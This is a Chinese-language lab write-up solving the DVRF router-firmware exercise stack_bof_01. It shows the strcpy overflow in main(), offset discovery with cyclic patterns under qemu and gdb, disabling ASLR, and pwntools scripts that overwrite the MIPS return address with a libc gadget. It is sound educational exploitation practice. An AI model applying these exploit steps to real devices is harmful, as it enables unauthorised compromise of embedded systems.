DVRF stack_bof_01

binwalk -Me提取固件后
使用ida查看,发现程序从命令行参数中传递strcpy的数据

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[200]; // [sp+18h] [+18h] BYREF

  if ( argc < 2 )
  {
    puts("Usage: stack_bof_01 <argument>\r\n-By b1ack0wl\r");
    exit(1);
  }
  puts("Welcome to the first BoF exercise!\r\n\r");
  strcpy(v4, argv[1]);
  printf("You entered %s \r\n", v4);
  return 65;
}

通过cyclic生成

from pwn import *

payload=cyclic(0x300)

with open("payload","w") as f:
    f.write(payload.decode())

这里我们使用qemu-user来模拟,写一个bash脚本帮助我们初始化
记得把所需的链接库目录复制到程序所在目录下

#! /bin/bash
cp $(which qemu-mipsel-static) ./q
./q  -L ./ -g 1234 ./stack_bof_01 "`cat payload`"

然后使用gdb-multiarch,使用set arch mips指定架构,target remote:1234开启远程调试,根据cyclic -l可以算出偏移

*GP   0x448b80
*FP   0x407fffc8 ◂— 0x63616163 ('caac')
*SP   0x407fffc8 ◂— 0x63616163 ('caac')
*PC   0x63616162 ('baac')
───────────────────────────────────────[ DISASM ]───────────────────────────────────────
Invalid address 0x63616162






───────────────────────────────────────[ STACK ]────────────────────────────────────────
00:0000│ fp sp 0x407fffc8 ◂— 0x63616163 ('caac')
01:0004│       0x407fffcc ◂— 0x63616164 ('daac')
02:0008│       0x407fffd0 ◂— 0x63616165 ('eaac')
03:000c│       0x407fffd4 ◂— 0x63616166 ('faac')
04:0010│       0x407fffd8 ◂— 0x63616167 ('gaac')
05:0014│       0x407fffdc ◂— 0x63616168 ('haac')
06:0018│       0x407fffe0 ◂— 0x63616169 ('iaac')
07:001c│       0x407fffe4 ◂— 0x6361616a ('jaac')
─────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────
 ► f 0 0x63616162
────────────────────────────────────────────────────────────────────────────────────────
pwndbg> cyclic -l 0x63616162
204

尝试按照x86的思路直接覆盖$ra,这里使用bytes存在null bytes读不进去,最后用的str

from pwn import *
context(log_level='debug',arch='mips',endian='little',bits=32)

payload='a'*204+'\xe0\x08\x40'

io=process(b"./q  -L ./ -g 1234 ./stack_bof_01 ".decode()+payload,shell=True)

io.interactive()

最后异常

*S8   0x61616161 ('aaaa')
*GP   0x448b80
 FP   0x0
*SP   0x40800038 ◂— 0
*PC   0x407ff2a9 ◂— beqz   $v0, 0x4081f27d /* 0x10407ff4 */
───────────────────────────────────────[ DISASM ]───────────────────────────────────────
 ► 0x407ff2a9    beqz   $v0, 0x4081f27d
 
   0x407ff2ad    swr    $ra, -0xf($at)
   0x407ff2b1    ll     $zero, 0x7ff4($v0)



───────────────────────────────────────[ STACK ]────────────────────────────────────────
00:0000│ s0 sp 0x40800038 ◂— 0
01:0004│       0x4080003c —▸ 0x40800114 —▸ 0x4080029e ◂— jalx   0x41ccbcb8 /* 0x74732f2e; './stack_bof_01' */
02:0008│       0x40800040 —▸ 0x3ffba724 ◂— 0x4c475f00
03:000c│       0x40800044 —▸ 0x3ffba354 ◂— 0
04:0010│       0x40800048 —▸ 0x3feed5d0 ◂— negu   $v0, $a0 /* 0x41023 */
05:0014│       0x4080004c ◂— 0
... ↓          2 skipped
─────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────
 ► f 0 0x407ff2a9
────────────────────────────────────────────────────────────────────────────────────────
pwndbg> 

参考Swe3ty博客:

在MIPS中,函数内部会通过t9t9寄存器和gp寄存器来找数据,地址等。同时在mips的手册内默认$t9的值为当前函数的开始地址,这样才能正常的索引

libc.so.0中存在gadget,不过mipsrop找不到,可以手动定位到此处

.text:00006B20 00 00 B9 8F                   lw      $t9, arg_0($sp)
.text:00006B24 09 F8 20 03                   jalr    $t9

先手动关闭地址随机化
对于libc基址,可以对程序函数下断点,建议使用b *$rebase(0x*)的方式加断点,调试半天才想起来这个,跳转过去查看got地址,然后手算
user模式下vmmap并不方便使用,也可以手动查看进程内存映射

sudo su
echo 0 > /proc/sys/kernel/randomize_va_space
sudo netstat -tunpl|grep 1234 #查看进程PID
sudo cat /proc/*/maps   #查看内存映射,*为进程PID

可以看到:

80eee000-80f29000 r--p 00000000 00:19 562334                             /home/fk/Desktop/cve/DVRF-master/Firmware/_DVRF_v05.bin.extracted/squashfs-root/pwnable/Intro/lib/libc.so.0

最后还是使用start.sh中的命令,所以最终exp修改如下:

from pwn import *
context(log_level='debug',arch='mips',endian='little',bits=32)

libc_addr=0x80eee000
gadget1=0x6B20+libc_addr
payload="a"*204+p32(gadget1)+p32(0x4008e0)


with open("payload","w") as f:
	f.write(payload)
# io=process(b"./q  -L ./ -g 1234 ./stack_bof_01 ".decode()+payload,shell=True)

# io.interactive()